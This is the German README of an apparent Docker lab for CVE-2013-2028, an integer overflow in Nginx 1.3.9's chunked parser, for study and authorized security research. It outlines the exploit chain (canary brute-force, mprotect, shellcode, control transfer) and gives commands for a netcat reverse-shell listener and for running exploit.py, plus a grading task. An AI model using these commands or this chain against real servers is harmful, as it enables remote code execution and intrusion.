Docker-basiertes Lab und Python-Exploit für CVE-2013-2028, einen Integer-Overflow im Chunked-Parser von Nginx 1.3.9, der Canary-Wiederherstellung, mprotect und Shellcode-Ausführung abdeckt.
Betroffene Software: Nginx 1.3.9
Betroffene Funktion: ngx_http_parse_chunked
CVE-2013-2028 ist eine Integer-Overflow-Schwachstelle im HTTP-Chunked-Transfer-Encoding-Parser von Nginx. Unter den Bedingungen, die diese Laborumgebung adressiert, kann die Schwachstelle zu Speicherbeschädigung führen und dazu genutzt werden, den Kontrollfluss zu beeinflussen.
Dieses Repository stellt eine isolierte Docker-basierte Umgebung bereit, um die Schwachstelle zu untersuchen und den Exploitation-Workflow zu reproduzieren.
Der vollständige Exploit besteht aus vier Hauptphasen:
Stack-Canary-Wiederherstellung
Wiederherstellung des Stack-Canarys durch byteweises Abtasten.
Manipulation des Speicherschutzes
Berechnung der relevanten Adressinformationen und Konstruktion der erforderlichen Kontrollflusssequenz, um mprotect auf dem kontrollierten Speicherbereich aufzurufen.
Platzierung des Shellcodes
Kopieren der Payload in den kontrollierten Speicherbereich.
Kontrollflussübertragung
Übertragung der Ausführung auf den kontrollierten Speicherbereich.
Der vollständige Exploit demonstriert den Ablauf vom Auslösen des verwundbaren Parsers über Speicherbeschädigung und Kontrollflussmanipulation bis hin zur kontrollierten Codeausführung.
exploit.py benötigten Python-Abhängigkeitennetcat für den Listener, der im vollständigen Lab verwendet wirdStarten Sie auf dem Hostsystem einen Listener auf dem konfigurierten Port:
nc -lvp 4345
Verwenden Sie denselben Port mit dem Argument --listenerport (-lp), wenn Sie den Exploit ausführen.
Erstellen und starten Sie die Docker-Umgebung:
sudo docker-compose up --build
Das verwundbare Ziel führt Nginx 1.3.9 im Container aus.
Sie können die Nginx-Version überprüfen mit:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
Führen Sie aus:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
Der Exploit führt die Phasen der Canary-Wiederherstellung und Payload-Konstruktion aus, bevor er die endgültige Payload an das verwundbare Ziel sendet.
Falls ein zuvor wiederhergestellter Canary verfügbar ist, kann er angegeben werden mit:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
Das Repository stellt außerdem eine Zwischenaufgabe bereit, um den Fortschritt im Workflow der Schwachstellenforschung zu bewerten.
Führen Sie aus:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
Die Zwischenaufgabe führt ihre Prüfungen direkt gegen das laufende Docker-Ziel durch. Sie stützt sich nicht auf manuell erstellte Nachweisdateien oder manuell bereitgestellte JSON-Assertions.
Die Aufgabe überprüft zwei Bereiche:
Die Aufgabe:
Die Aufgabe:
nginx -t.Die Konfigurationsprüfung stellt fest, dass die Nginx-Konfiguration syntaktisch gültig ist. Sie sollte für sich genommen nicht als Beweis dafür interpretiert werden, dass CVE-2013-2028 behoben wurde.
Beispielausgabe:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
Die Zwischenaufgabe speichert die Ergebnisse dieser Laufzeitprüfungen in:
grader_state.json
Diese Datei dient nur dazu, den durch die Prüfungen erzeugten Zustand zu persistieren. Sie ist nicht die Quelle für die Bestimmung der Schwachstelle.
Die Laborumgebung verwendet absichtlich Nginx 1.3.9, eine alte Nginx-Version, die von CVE-2013-2028 betroffen ist.
Die Docker-Umgebung bietet ein isoliertes Ziel für Schwachstellenforschung und Exploitation-Übungen. Auf den verwundbaren Dienst sollte nur über die von der Laborkonfiguration bereitgestellten Schnittstellen zugegriffen werden.
Dieses Repository ist ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke in einer isolierten Laborumgebung gedacht.
Führen Sie den Exploit nicht gegen Systeme aus, die Ihnen nicht gehören oder für deren Test Sie keine ausdrückliche Genehmigung haben.